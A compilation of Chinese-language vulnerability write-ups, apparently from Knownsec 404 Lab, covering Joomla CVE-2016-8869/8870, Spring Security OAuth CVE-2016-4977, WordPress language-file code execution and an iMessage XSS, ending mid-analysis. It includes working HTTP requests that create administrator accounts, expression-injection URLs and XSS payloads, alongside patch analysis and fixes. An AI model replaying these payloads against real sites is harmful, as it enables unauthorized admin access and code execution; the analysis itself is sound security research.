https://sintonen.fi/advisories/tar-extract-pathname-bypass.proper.txt
https://sintonen.fi/advisories/tar-extract-pathname-bypass.patch
https://www.gnu.org/software/tar/
http://cvs.savannah.gnu.org/viewvc/tar/tar/src/extract.c?view=log&pathrev=release115_1#rev1.47
-
Joomla未授权创建特权用户漏洞(CVE-2016-8869)分析
Author: p0wd3r (知道创宇404安全实验室) Date: 2016-10-26
0x00 漏洞概述
1.漏洞简介
Joomla是一个自由开源的内容管理系统,近日研究者发现在其3.4.4到3.6.3的版本中存在两个漏洞:CVE-2016-8869,CVE-2016-8870。我们在这里仅分析 CVE-2016-8869,利用该漏洞,攻击者可以在网站关闭注册的情况下注册特权用户。Joomla 官方已对此漏洞发布升级公告。
2.漏洞影响
网站关闭注册的情况下仍可创建特权用户,默认状态下用户需要用邮件激活,但需要开启注册功能才能激活。
3.影响版本
3.4.4 to 3.6.3
0x01 漏洞复现
1. 环境搭建
1wget https://github.com/joomla/joomla-cms/releases/download/3.6.3/Joomla_3.6.3-Stable-Full_Package.tar.gz解压后放到服务器目录下,例如
/var/www/html
创建个数据库:
1docker run --name joomla-mysql -e MYSQL_ROOT_PASSWORD=hellojoomla -e MYSQL_DATABASE=jm -d mysql2.漏洞分析
注册
注册部分可参考:《Joomla未授权创建用户漏洞(CVE-2016-8870)分析》
提权
下面我们来试着创建一个特权用户。
在用于注册的
register
函数中,我们先看一下$model->register($data)
这个存储注册信息的方法,在components/com_users/models/registration.php
中:123456789101112131415public function register($temp){$params = JComponentHelper::getParams('com_users');// Initialise the table with JUser.$user = new JUser;$data = (array) $this->getData();// Merge in the registration data.foreach ($temp as $k => $v){$data[$k] = $v;}...}可以看到这里使用我们可控的
$temp
给$data
赋值,进而存储注册信息。正常情况下,$data
在赋值之前是这样的:而正常情况下我们可控的
$temp
中是没有groups
这个数组的,所以正常注册用户的权限就是我们配置中设置的权限,对应的就是groups
的值。那么提升权限的关键就在于更改
groups
中的值,因为$data
由我们可控的$temp
赋值,$temp
的值来自于请求包,所以我们可以构造如下请求包:1234567891011121314151617181920212223242526272829303132333435363738394041424344454647POST /index.php/component/users/?task=registration.register HTTP/1.1...Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryefGhagtDbsLTW5qI...Cookie: yourcookie------WebKitFormBoundaryefGhagtDbsLTW5qIContent-Disposition: form-data; name="user[name]"attacker2------WebKitFormBoundaryefGhagtDbsLTW5qIContent-Disposition: form-data; name="user[username]"attacker2------WebKitFormBoundaryefGhagtDbsLTW5qIContent-Disposition: form-data; name="user[password1]"attacker2------WebKitFormBoundaryefGhagtDbsLTW5qIContent-Disposition: form-data; name="user[password2]"attacker2------WebKitFormBoundaryefGhagtDbsLTW5qIContent-Disposition: form-data; name="user[email1]"attacker2@my.local------WebKitFormBoundaryefGhagtDbsLTW5qIContent-Disposition: form-data; name="user[email2]"attacker2@my.local------WebKitFormBoundaryefGhagtDbsLTW5qIContent-Disposition: form-data; name="user[groups][]"7------WebKitFormBoundaryefGhagtDbsLTW5qIContent-Disposition: form-data; name="option"com_users------WebKitFormBoundaryefGhagtDbsLTW5qIContent-Disposition: form-data; name="task"user.register------WebKitFormBoundaryefGhagtDbsLTW5qIContent-Disposition: form-data; name="yourtoken"1------WebKitFormBoundaryefGhagtDbsLTW5qI--这里我们添加一组值:
name="user[groups][]" value=7
,让user
被当作二维数组,从而groups
被识别为数组,并设置数组第一个值为7,对应着Administrator
的权限。然后发包,通过调试可以看到
$temp
中已经有了groups
数组:最后创建了一个权限为
Administrator
的用户attacker2:通过存在漏洞的注册函数我们可以提权,那么在允许注册的情况下我们可不可以通过正常的注册函数来提权呢?
通过对比这两个函数,可以发现这样一点:
UsersControllerRegistration::register()
:1234567891011public function register(){...$data = $model->validate($form, $requestData);...// Attempt to save the data.$return = $model->register($data);...}UsersControllerUser::register()
:1234567891011public function register(){...$return = $model->validate($form, $data);...// Attempt to save the data.$return = $model->register($data);...}可以看到
UsersControllerRegistration::register()
中存储了对$requestData
验证后的$data
,而UsersControllerUser::register()
虽然同样进行了验证,但是存储的仍是之前的$data
。所以重点是validate
函数是否对groups
进行了过滤,我们跟进一下,在libraries/legacy/model/form.php
中:1234567public function validate($form, $data, $group = null){...// Filter and validate the form data.$data = $form->filter($data);...}再跟进
filter
函数,在libraries/joomla/form/form.php
中:12345678910111213141516171819202122232425262728293031323334public function filter($data, $group = null){...// Get the fields for which to filter the data.$fields = $this->findFieldsByGroup($group);if (!$fields){// PANIC!return false;}// Filter the fields.foreach ($fields as $field){$name = (string) $field['name'];// Get the field groups for the element.$attrs = $field->xpath('ancestor::fields[@name]/@name');$groups = array_map('strval', $attrs ? $attrs : array());$group = implode('.', $groups);$key = $group ? $group . '.' . $name : $name;// Filter the value if it exists.if ($input->exists($key)){$output->set($key, $this->filterField($field, $input->get($key, (string) $field['default'])));}}return $output->toArray();}可以看到这里仅允许
$fields
中的值出现在$data
中,而$fields
中是不存在groups
的,所以groups
在这里被过滤掉,也就没有办法进行权限提升了。2016-10-27 更新:
默认情况下,新注册的用户需要通过注册邮箱激活后才能使用。并且:
由于
$data['activation']
的值会被覆盖,所以我们也没有办法直接通过请求更改用户的激活状态。2016-11-01 更新:
感谢
三好学生
和D
的提示,可以使用邮箱激活的前提是网站开启了注册功能,否则不会成功激活。我们看激活时的代码,在
components/com_users/controllers/registration.php
中第28-99行的activate
函数:1234567891011121314151617public function activate(){$user = JFactory::getUser();$input = JFactory::getApplication()->input;$uParams = JComponentHelper::getParams('com_users');...// If user registration or account activation is disabled, throw a 403.if ($uParams->get('useractivation') == 0 || $uParams->get('allowUserRegistration') == 0){JError::raiseError(403, JText::_('JLIB_APPLICATION_ERROR_ACCESS_FORBIDDEN'));return false;}...}这里可以看到仅当开启注册功能时才允许激活,否则返回403。
3.补丁分析
官方删除了
UsersControllerUser::register()
方法。0x02 修复方案
升级到3.6.4
0x03 参考
https://www.seebug.org/vuldb/ssvid-92495
https://developer.joomla.org/security-centre/659-20161001-core-account-creation.html
http://www.fox.ra.it/technical-articles/how-i-found-a-joomla-vulnerability.html
https://www.youtube.com/watch?v=Q_2M2oJp5l4
-
Joomla未授权创建用户漏洞(CVE-2016-8870) 分析
Author: p0wd3r (知道创宇404安全实验室) Date: 2016-10-26
0x00 漏洞概述
1.漏洞简介
Joomla是一个自由开源的内容管理系统,近日研究者发现在其3.4.4到3.6.3的版本中存在两个漏洞:CVE-2016-8869,CVE-2016-8870。我们在这里仅分析CVE-2016-8870,利用该漏洞,攻击者可以在网站关闭注册的情况下注册用户。Joomla官方已对此漏洞发布升级公告。
2.漏洞影响
网站关闭注册的情况下仍可创建用户,默认状态下用户需要用邮件激活,但需要开启注册功能才能激活。
3.影响版本
3.4.4 to 3.6.3
0x01 漏洞复现
1. 环境搭建
1wget https://github.com/joomla/joomla-cms/releases/download/3.6.3/Joomla_3.6.3-Stable-Full_Package.tar.gz解压后放到服务器目录下,例如
/var/www/html
创建个数据库:
1docker run --name joomla-mysql -e MYSQL_ROOT_PASSWORD=hellojoomla -e MYSQL_DATABASE=jm -d mysql最后访问服务器路径进行安装即可。
2.漏洞分析
在存在漏洞的版本中我们可以看到一个有趣的现象,即存在两个用于用户注册的方法:
- 位于
components/com_users/controllers/registration.php
中的UsersControllerRegistration::register()
- 位于
components/com_users/controllers/user.php
中的UsersControllerUser::register()
我们对比一下代码:
UsersControllerRegistration::register()
:123456789101112131415161718192021222324public function register(){// Check for request forgeries.JSession::checkToken() or jexit(JText::_('JINVALID_TOKEN'));// If registration is disabled - Redirect to login page.if (JComponentHelper::getParams('com_users')->get('allowUserRegistration') == 0){$this->setRedirect(JRoute::_('index.php?option=com_users&view=login', false));return false;}$app = JFactory::getApplication();$model = $this->getModel('Registration', 'UsersModel');// Get the user data.$requestData = $this->input->post->get('jform', array(), 'array');// Validate the posted data.$form = $model->getForm();...}UsersControllerUser::register()
:1234567891011121314151617public function register(){JSession::checkToken('post') or jexit(JText::_('JINVALID_TOKEN'));// Get the application$app = JFactory::getApplication();// Get the form data.$data = $this->input->post->get('user', array(), 'array');// Get the model and validate the data.$model = $this->getModel('Registration', 'UsersModel');$form = $model->getForm();...}可以看到相对于
UsersControllerRegistration::register()
,UsersControllerUser::register()
的实现中并没有这几行代码:1234567// If registration is disabled - Redirect to login page.if (JComponentHelper::getParams('com_users')->get('allowUserRegistration') == 0){$this->setRedirect(JRoute::_('index.php?option=com_users&view=login', false));return false;}这几行代码是检查是否允许注册,也就是说如果我们可以用
UsersControllerUser::register()
这个方法来进行注册就可以绕过这个检测。通过测试可知正常的注册使用的是
UsersControllerRegistration::register()
,请求包如下:12345678910111213141516171819202122232425262728293031323334353637383940414243POST /index.php/component/users/?task=registration.register HTTP/1.1...Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryefGhagtDbsLTW5qI...Cookie: yourcookie------WebKitFormBoundaryefGhagtDbsLTW5qIContent-Disposition: form-data; name="jform[name]"tomcat------WebKitFormBoundaryefGhagtDbsLTW5qIContent-Disposition: form-data; name="jform[username]"tomcat------WebKitFormBoundaryefGhagtDbsLTW5qIContent-Disposition: form-data; name="jform[password1]"tomcat------WebKitFormBoundaryefGhagtDbsLTW5qIContent-Disposition: form-data; name="jform[password2]"tomcat------WebKitFormBoundaryefGhagtDbsLTW5qIContent-Disposition: form-data; name="jform[email1]"tomcat@my.local------WebKitFormBoundaryefGhagtDbsLTW5qIContent-Disposition: form-data; name="jform[email2]"tomcat@my.local------WebKitFormBoundaryefGhagtDbsLTW5qIContent-Disposition: form-data; name="option"com_users------WebKitFormBoundaryefGhagtDbsLTW5qIContent-Disposition: form-data; name="task"registration.register------WebKitFormBoundaryefGhagtDbsLTW5qIContent-Disposition: form-data; name="yourtoken"1------WebKitFormBoundaryefGhagtDbsLTW5qI--虽然正常注册并没有使用
UsersControllerUser::register()
,但是并不代表我们不能使用。阅读代码可知,只要将请求包进行如下修改即可使用存在漏洞的函数进行注册:registration.register
->user.register
jform[*]
->user[*]
所以完整的复现流程如下:
- 首先在后台关闭注册功能,关闭后首页没有注册选项:
- 然后通过访问
index.php
抓包获取cookie,通过看index.php
源码获取token:
- 构造注册请求:
12345678910111213141516171819202122232425262728293031323334353637383940414243POST /index.php/component/users/?task=registration.register HTTP/1.1...Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryefGhagtDbsLTW5qI...Cookie: yourcookie------WebKitFormBoundaryefGhagtDbsLTW5qIContent-Disposition: form-data; name="user[name]"attacker------WebKitFormBoundaryefGhagtDbsLTW5qIContent-Disposition: form-data; name="user[username]"attacker------WebKitFormBoundaryefGhagtDbsLTW5qIContent-Disposition: form-data; name="user[password1]"attacker------WebKitFormBoundaryefGhagtDbsLTW5qIContent-Disposition: form-data; name="user[password2]"attacker------WebKitFormBoundaryefGhagtDbsLTW5qIContent-Disposition: form-data; name="user[email1]"attacker@my.local------WebKitFormBoundaryefGhagtDbsLTW5qIContent-Disposition: form-data; name="user[email2]"attacker@my.local------WebKitFormBoundaryefGhagtDbsLTW5qIContent-Disposition: form-data; name="option"com_users------WebKitFormBoundaryefGhagtDbsLTW5qIContent-Disposition: form-data; name="task"user.register------WebKitFormBoundaryefGhagtDbsLTW5qIContent-Disposition: form-data; name="yourtoken"1------WebKitFormBoundaryefGhagtDbsLTW5qI-- - 发包,成功注册:
2016-10-27 更新:
默认情况下,新注册的用户需要通过注册邮箱激活后才能使用。并且:
由于
$data['activation']
的值会被覆盖,所以我们也没有办法直接通过请求更改用户的激活状态。2016-11-01 更新:
感谢
三好学生
和D
的提示,可以使用邮箱激活的前提是网站开启了注册功能,否则不会成功激活。我们看激活时的代码,在
components/com_users/controllers/registration.php
中第28-99行的activate
函数:1234567891011121314151617public function activate(){$user = JFactory::getUser();$input = JFactory::getApplication()->input;$uParams = JComponentHelper::getParams('com_users');...// If user registration or account activation is disabled, throw a 403.if ($uParams->get('useractivation') == 0 || $uParams->get('allowUserRegistration') == 0){JError::raiseError(403, JText::_('JLIB_APPLICATION_ERROR_ACCESS_FORBIDDEN'));return false;}...}这里可以看到仅当开启注册功能时才允许激活,否则返回403。
3.补丁分析
官方删除了
UsersControllerUser::register()
方法。0x02 修复方案
升级到3.6.4
0x03 参考
https://www.seebug.org/vuldb/ssvid-92496
https://developer.joomla.org/security-centre/659-20161001-core-account-creation.html
http://www.fox.ra.it/technical-articles/how-i-found-a-joomla-vulnerability.html
https://www.youtube.com/watch?v=Q_2M2oJp5l4
- 位于
-
Spring Security OAuth RCE (CVE-2016-4977) 漏洞分析
Author: p0wd3r (知道创宇404安全实验室) Date: 2016-10-17
0x00 漏洞概述
1.漏洞简介
Spring Security OAuth 是为 Spring 框架提供安全认证支持的一个模块,在7月5日其维护者发布了这样一个升级公告,主要说明在用户使用
Whitelabel views
来处理错误时,攻击者在被授权的情况下可以通过构造恶意参数来远程执行命令。漏洞的发现者在10月13日公开了该漏洞的挖掘记录。2.漏洞影响
授权状态下远程命令执行
3.影响版本
2.0.0 to 2.0.9
1.0.0 to 1.0.5
0x01 漏洞复现
1. 环境搭建
1docker pull maven1234567891011FROM mavenWORKDIR /tmp/RUN wget http://secalert.net/research/cve-2016-4977.zipRUN unzip cve-2016-4977.zipRUN mv spring-oauth2-sec-bug/* /usr/src/mymavenWORKDIR /usr/src/mymavenRUN mvn clean installCMD ["java", "-jar", "./target/demo-0.0.1-SNAPSHOT.jar"]
1docker build -t mvn-spring . docker run --rm --name mvn-spring-app -p 8080:8080 mvn-spring2.漏洞分析
首先我们查看
src/resources/application.properties
的内容来获取clientid
和用户的密码:接着我们访问这个url:
http://localhost:8080/oauth/authorize?responsetype=token&clientid=acme&redirect_uri=hellotom
其中
client_id
就是我们前面获取到的,然后输入任意用户名,密码填上面的password
。点击登录后程序会返回这样一个页面:
可以看到由于
hellotom
对于redirect_uri
来说是不合法的值,所以程序会将错误信息返回并且其中带着hellotom
,那么这个不合法的值可不可以是一个表达式呢?我们再访问这个url:http://localhost:8080/oauth/authorize?responsetype=token&clientid=acme&redirect_uri=${2334-1}
结果如下:
可以看到表达式被执行,触发了漏洞。
下面看代码,由于程序使用
Whitelabel
作为视图来返回错误页面,所以先看/spring-security-oauth/spring-security-oauth2/src/main/java/org/springframework/security/oauth2/provider/endpoint/WhitelabelErrorEndpoint.java
中第18-40行:1234567891011121314151617181920212223@FrameworkEndpointpublic class WhitelabelErrorEndpoint {private static final String ERROR = "<html><body><h1>OAuth Error</h1><p>${errorSummary}</p></body></html>";@RequestMapping("/oauth/error")public ModelAndView handleError(HttpServletRequest request) {Map<String, Object> model = new HashMap<String, Object>();Object error = request.getAttribute("error");// The error summary may contain malicious user input,// it needs to be escaped to prevent XSSString errorSummary;if (error instanceof OAuth2Exception) {OAuth2Exception oauthError = (OAuth2Exception) error;errorSummary = HtmlUtils.htmlEscape(oauthError.getSummary());}else {errorSummary = "Unknown error";}model.put("errorSummary", errorSummary);return new ModelAndView(new SpelView(ERROR), model);}}
这里定义了Whitelabel
对错误的处理方法,可以看到程序通过oauthError.getSummary()
来获取错误信息,我们再次访问这个 url 并开启动态调试:http://localhost:8080/oauth/authorize?response_type=token&client_id=acme&redirect_uri=${2334-1}
请求中的
${2334-1}
已经被带入了errorSummary
中,然后errorSummary
被装入model
中,再用SpelView
进行渲染。我们跟进
SpelView
到spring-security-oauth/spring-security-oauth2/src/main/java/org/springframework/security/oauth2/provider/endpoint/SpelView.java
中第21-54行:1234567891011121314151617181920212223242526class SpelView implements View {...public SpelView(String template) {this.template = template;this.context.addPropertyAccessor(new MapAccessor());this.helper = new PropertyPlaceholderHelper("${", "}");this.resolver = new PlaceholderResolver() {public String resolvePlaceholder(String name) {Expression expression = parser.parseExpression(name);Object value = expression.getValue(context);return value == null ? null : value.toString();}};}...public void render(Map<String, ?> model, HttpServletRequest request, HttpServletResponse response)throws Exception {...String result = helper.replacePlaceholders(template, resolver);...}}可以看到在render
时通过helper
取${}
中的值作为表达式,再用parser.parseExpression
来执行,跟进一下replacePlaceholders
这个函数,在/org/springframework/util/PropertyPlaceholderHelper.class
第47-56行:12345678public String replacePlaceholders(String value, final Properties properties) {Assert.notNull(properties, "\'properties\' must not be null");return this.replacePlaceholders(value, new PropertyPlaceholderHelper.PlaceholderResolver() {public String resolvePlaceholder(String placeholderName) {return properties.getProperty(placeholderName);}});}这个函数是个递归,也就是说如果表达式的值中有
${xxx}
这样形式的字符串存在,就会再取xxx
作为表达式来执行。我们看动态调试的结果:
首先因为传入了
${errorSummary}
,取errorSummary
作为表达式来执行,继续执行程序:由于
errorSummary
中存在${2334-1}
,所以又取出了2334-1
作为表达式来执行,从而触发了漏洞。所以从这里可以看出,漏洞的关键点在于这个对表达式的递归处理使我们可控的部分也会被当作表达式执行。3.补丁分析
可以看到在第一次执行表达式之前程序将
$
替换成了由RandomValueStringGenerator().generate()
生成的随机字符串,也就是${errorSummary} -> random{errorSummary}
,但是这个替换不是递归的,所以${2334-1}
并没有变。然后创建了一个
helper
使程序取random{}
中的内容作为表达式,这样就使得errorSummary
被作为表达式执行了,而${2334-1}
因为不符合random{}
这个形式所以没有被当作表达式,从而也就没有办法被执行了。不过这个Patch有一个缺点:
RandomValueStringGenerator
生成的字符串虽然内容随机,但长度固定为6,所以存在暴力破解的可能性。0x02 修复方案
- 使用 1.0.x 版本的用户应放弃在认证通过和错误这两个页面中使用
Whitelabel
这个视图。 - 使用 2.0.x 版本的用户升级到 2.0.10 以及更高的版本
- https://www.seebug.org/vuldb/ssvid-92474
- http://secalert.net/#CVE-2016-4977
- https://pivotal.io/de/security/cve-2016-4977
- https://github.com/spring-projects/spring-security-oauth/commit/fff77d3fea477b566bcacfbfc95f85821a2bdc2d
- https://github.com/spring-projects/spring-boot/blob/master/spring-boot-autoconfigure/src/main/java/org/springframework/boot/autoconfigure/web/ErrorMvcAutoConfiguration.java
- 使用 1.0.x 版本的用户应放弃在认证通过和错误这两个页面中使用
-
WordPress <= 4.6.1 使用语言文件任意代码执行 漏洞分析
Author: p0wd3r (知道创宇404安全实验室) Date: 2016-10-09
0x00 漏洞概述
1.漏洞简介
WordPress是一个以PHP和MySQL为平台的自由开源的博客软件和内容管理系统,近日在 github (https://gist.github.com/anonymous/908a087b95035d9fc9ca46cef4984e97)上爆出这样一个漏洞,在其 <=4.6.1 版本中,如果网站使用攻击者提前构造好的语言文件来对网站、主题、插件等等来进行翻译的话,就可以执行任意代码。
2.漏洞影响
任意代码执行,但有以下两个前提:
- 攻击者可以上传自己构造的语言文件,或者含有该语言文件的主题、插件等文件夹
- 网站使用攻击者构造好的语言文件来对网站、主题、插件等进行翻译
这里举一个真实场景中的例子:攻击者更改了某个插件中的语言文件,并更改了插件代码使插件初始化时使用恶意语言文件对插件进行翻译,然后攻击者通过诱导管理员安装此插件来触发漏洞。
3.影响版本
<= 4.6.1
0x01 漏洞复现
1. 环境搭建
1234docker pull wordpress<span class="token punctuation">:</span><span class="token number">4.6</span><span class="token punctuation">.</span><span class="token number">1</span>docker pull mysqldocker run <span class="token operator">--</span>name wp<span class="token operator">-</span>mysql <span class="token operator">-</span>e MYSQL_ROOT_PASSWORD<span class="token operator">=</span>hellowp <span class="token operator">-</span>e MYSQL_DATABASE<span class="token operator">=</span>wp <span class="token operator">-</span>d mysqldocker run <span class="token operator">--</span>name wp <span class="token operator">--</span>link wp<span class="token operator">-</span>mysql<span class="token punctuation">:</span>mysql <span class="token operator">-</span>d wordpress2.漏洞分析
首先我们来看这样一个场景:
在调用
create_function
时,我们通过}
将原函数闭合,添加我们想要执行的内容后再使用/*
将后面不必要的部分注释掉,最后即使我们没有调用创建好的函数,我们添加的新内容也依然被执行了。之所以如此,是因为create_function
内部使用了eval
来执行代码,我们看PHP手册上的说明:所以由于这个特性,如果我们可以控制
create_function
的$code
参数,那就有了任意代码执行的可能。这里要说一下,create_function
这个漏洞最早由80sec在08年提出,这里提供几个链接作为参考:- https://www.exploit-db.com/exploits/32416/
- https://bugs.php.net/bug.php?id=48231
- http://www.2cto.com/Article/201212/177146.html
接下来我们看Wordpress中一处用到
create_function
的地方,在wp-includes/pomo/translations.php
第203-209行:12345678910111213/*** Makes a function, which will return the right translation index, according to the* plural forms header* @param int $nplurals* @param string $expression*/function make_plural_form_function($nplurals, $expression) {$expression = str_replace('n', '$n', $expression);$func_body = "\$index = (int)($expression);return (\$index < $nplurals)? \$index : $nplurals - 1;";return create_function('$n', $func_body);}根据注释可以看到该函数的作用是根据字体文件中的
plural forms
这个header来创建函数并返回,其中$expression
用于组成$func_body
,而$func_body
作为$code
参数传入了create_function
,所以关键是控制$expresstion
的值。我们看一下正常的字体文件
zh_CN.mo
,其中有这么一段:Plural-Froms
这个 header 就是上面的函数所需要处理的,其中nplurals
的值即为$nplurals
的值,而plural
的值正是我们需要的$expression
的值。所以我们将字体文件进行如下改动:然后我们在后台重新加载这个字体文件,同时进行动态调试,可以看到如下情景:
我们payload中的
)
首先闭合了前面的(
,然后;
结束前面的语句,接着是我们的一句话木马,然后用/*
将后面不必要的部分注释掉,通过这样,我们就将payload完整的传入了create_function
,在其创建函数时我们的payload就会被执行,由于访问每个文件时都要用这个对字体文件解析的结果对文件进行翻译,所以我们访问任何文件都可以触发这个payload:其中访问
index.php?c=phpinfo();
的函数调用栈如下:3.补丁分析
目前官方还没有发布补丁,最新版仍存在该漏洞。
0x02 修复方案
在官方发布补丁前建议管理员增强安全意识,不要使用来路不明的字体文件、插件、主题等等。
对于开发者来说,建议对
$expression
中的特殊符号进行过滤,例如:12$not_allowed = array(";", ")", "}");$experssion = str_replace($not_allowed, "", $expression);0x03 参考
- https://www.seebug.org/vuldb/ssvid-92459
- https://gist.github.com/anonymous/908a087b95035d9fc9ca46cef4984e97
- http://php.net/manual/zh/function.create-function.php
- https://www.exploit-db.com/exploits/32416/
- https://bugs.php.net/bug.php?id=48231
- http://www.2cto.com/Article/201212/177146.html
- https://codex.wordpress.org/InstallingWordPressinYourLanguage
-
从老漏洞到新漏洞—iMessage 0day(CVE-2016-1843)挖掘实录
Author: SuperHei (知道创宇404安全实验室) Date: 2016-04-11
注:文章里“0day”在报告给官方后分配漏洞编号:CVE-2016-1843
0x00 背景
在前几天老外发布了一个在3月更新里修复的 iMessage xss 漏洞(CVE-2016-1764)细节 :
- https://www.bishopfox.com/blog/2016/04/if-you-cant-break-crypto-break-the-client-recovery-of-plaintext-imessage-data/
- https://github.com/BishopFox/cve-2016-1764
他们公布这些细节里其实没有给出详细触发点的分析,我分析后也就是根据这些信息发现了一个新的 0day。
0x01 CVE-2016-1764 漏洞分析
CVE-2016-1764 里的最简单的触发payload:
javascript://a/research?%0d%0aprompt(1)
可以看出这个是很明显javascript协议里的一个小技巧 %0d%0 没处理后导致的 xss ,这个 tips 在找 xss 漏洞里是比较常见的。这个值得提一下的是 为啥要用
prompt(1)
而我们常用的是alert(1)
,我实际测试了下发现 alert 确实没办法弹出来,另外在很多的网站其实把 alert 直接和谐过滤了,所以这里给提醒大家的是在测试xss的时候,把 prompt 替换 alert 是有必要的~遇到这样的客户端的 xss 如果要分析,第一步应该看看 location.href 的信息。这个主要是看是哪个域下,这个漏洞是在
applewebdata://
协议下,这个原漏洞分析里有给出。然后要看具体的触发点,一般在浏览器下我们可以通过看 html 源代码来分析,但是在客户端下一般看不到,所以这里用到一个小技巧:1javascript://a/research?%0d%0aprompt(1,document.head.innerHTML)这里是 html 里的 head 代码
1<style>@media screen and (-webkit-device-pixel-ratio:2) {}</style><link rel="stylesheet" type="text/css" href="file:///System/Library/PrivateFrameworks/SocialUI.framework/Resources/balloons-modern.css">继续看下 body 的代码:
1234567javascript://a/research?%0d%0aprompt(1,document.body.innerHTML)<chatitem id="v:iMessage/xxx@xxx.com/E4BCBB48-9286-49EC-BA1D-xxxxxxxxxxxx" contiguous="no" role="heading" aria-level="1" item-type="header"><header guid="v:iMessage/xxx@xxx.com/E4BCBB48-9286-49EC-BA1D-xxxxxxxxxxxx"><headermessage text-direction="ltr">与“xxx@xxx.com”进行 iMessage 通信</headermessage></header></chatitem><chatitem id="d:E4BCBB48-9286-49EC-BA1D-xxxxxxxxxxxx" contiguous="no" role="heading" aria-level="2" item-type="timestamp"><timestamp guid="d:E4BCBB48-9286-49EC-BA1D-xxxxxxxxxxxx" id="d:E4BCBB48-9286-49EC-BA1D-xxxxxxxxxxxx"><date date="481908183.907740">今天 23:23</date></timestamp></chatitem><chatitem id="p:0/E4BCBB48-9286-49EC-BA1D-xxxxxxxxxxxx" contiguous="no" chatitem-message="yes" role="presentation" display-type="balloon" item-type="text" group-last-message-ignore-timestamps="yes" group-first-message-ignore-timestamps="yes"><message guid="p:0/E4BCBB48-9286-49EC-BA1D-xxxxxxxxxxxx" service="imessage" typing-indicator="no" sent="no" from-me="yes" from-system="no" from="B392EC10-CA04-41D3-A967-5BB95E301475" emote="no" played="no" auto-reply="no" group-last-message="yes" group-first-message="yes"><buddyicon role="img" aria-label="黑哥"><div></div></buddyicon><messagetext><messagebody title="今天 23:23:03" aria-label="javascript://a/research?%0d%0aprompt(1,document.body.innerHTML)"><messagetextcontainer text-direction="ltr"><span style=""><a href=" " title="javascript://a/research?prompt(1,document.body.innerHTML)">javascript://a/research?%0d%0aprompt(1,document.body.innerHTML)</a ></span></messagetextcontainer></messagebody><message-overlay></message-overlay></messagetext><date class="compact"></date></message><spacer></spacer></chatitem><chatitem id="p:0/64989837-6626-44CE-A689-5460313DC817" contiguous="no" chatitem-message="yes" role="presentation" display-type="balloon" item-type="text" group-first-message-ignore-timestamps="yes" group-last-message-ignore-timestamps="yes"><message guid="p:0/64989837-6626-44CE-A689-5460313DC817" typing-indicator="no" sent="no" from-me="no" from-system="no" from="D8FAE154-6C88-4FB6-9D2D-0C234BEA8E99" emote="no" played="no" auto-reply="no" group-first-message="yes" group-last-message="yes"><buddyicon role="img" aria-label="黑哥"><div></div></buddyicon><messagetext><messagebody title="今天 23:23:03" aria-label="javascript://a/research?%0d%0aprompt(1,document.body.innerHTML)"><messagetextcontainer text-direction="ltr"><span style=""><a href="javascript://a/research?%0d%0aprompt(1,document.body.innerHTML)" title="javascript://a/research?prompt(1,document.body.innerHTML)">javascript://a/research?%0d%0aprompt(1,document.body.innerHTML)</a ></span></messagetextcontainer></messagebody><message-overlay></message-overlay></messagetext><date class="compact"></date></message><spacer></spacer></chatitem><chatitem id="p:0/AE1ABCF1-2397-4F20-A71F-D71FFE8042F5" contiguous="no" chatitem-message="yes" role="presentation" display-type="balloon" item-type="text" group-last-message-ignore-timestamps="yes" group-first-message-ignore-timestamps="yes"><message guid="p:0/AE1ABCF1-2397-4F20-A71F-D71FFE8042F5" service="imessage" typing-indicator="no" sent="no" from-me="yes" from-system="no" from="B392EC10-CA04-41D3-A967-5BB95E301475" emote="no" played="no" auto-reply="no" group-last-message="yes" group-first-message="yes"><buddyicon role="img" aria-label="黑哥"><div></div></buddyicon><messagetext><messagebody title="今天 23:24:51" aria-label="javascript://a/research?%0d%0aprompt(1,document.head.innerHTML)"><messagetextcontainer text-direction="ltr"><span style=""><a href="javascript://a/research?%0d%0aprompt(1,document.head.innerHTML)" title="javascript://a/research?prompt(1,document.head.innerHTML)">javascript://a/research?%0d%0aprompt(1,document.head.innerHTML)</a ></span></messagetextcontainer></messagebody><message-overlay></message-overlay></messagetext><date class="compact"></date></message><spacer></spacer></chatitem><chatitem id="s:AE1ABCF1-2397-4F20-A71F-D71FFE8042F5" contiguous="no" role="heading" aria-level="1" item-type="status" receipt-fade="in"><receipt from-me="YES" id="receipt-delivered-s:ae1abcf1-2397-4f20-a71f-d71ffe8042f5"><div class="receipt-container"><div class="receipt-item">已送达</div></div></receipt></chatitem><chatitem id="p:0/43545678-5DB7-4B35-8B81-xxxxxxxxxxxx" contiguous="no" chatitem-message="yes" role="presentation" display-type="balloon" item-type="text" group-first-message-ignore-timestamps="yes" group-last-message-ignore-timestamps="yes"><message guid="p:0/43545678-5DB7-4B35-8B81-xxxxxxxxxxxx" typing-indicator="no" sent="no" from-me="no" from-system="no" from="D8FAE154-6C88-4FB6-9D2D-0C234BEA8E99" emote="no" played="no" auto-reply="no" group-first-message="yes" group-last-message="yes"><buddyicon role="img" aria-label="黑哥"><div></div></buddyicon><messagetext><messagebody title="今天 23:24:51" aria-label="javascript://a/research?%0d%0aprompt(1,document.head.innerHTML)"><messagetextcontainer text-direction="ltr"><span style=""><a href="javascript://a/research?%0d%0aprompt(1,document.head.innerHTML)" title="javascript://a/research?prompt(1,document.head.innerHTML)">javascript://a/research?%0d%0aprompt(1,document.head.innerHTML)</a ></span></messagetextcontainer></messagebody><message-overlay></message-overlay></messagetext><date class="compact"></date></message><spacer></spacer></chatitem>那么关键的触发点:
12<a href="javascript://a/research?%0d%0aprompt(1,document.head.innerHTML)" title="javascript://a/research?prompt(1,document.head.innerHTML)">javascript://a/research?%0d%0aprompt(1,document.head.innerHTML)</a >就是这个了。 javascript 直接进入 a 标签里的 href,导致点击执行。新版本的修复方案是直接不解析
javascript://
。0x02 从老漏洞(CVE-2016-1764)到 0day
XSS 的漏洞本质是你注入的代码最终被解析执行了,既然我们看到了
document.head.innerHTML
的情况,那么有没有其他注入代码的机会呢?首先我测试的肯定是还是那个点,尝试用"
及<>
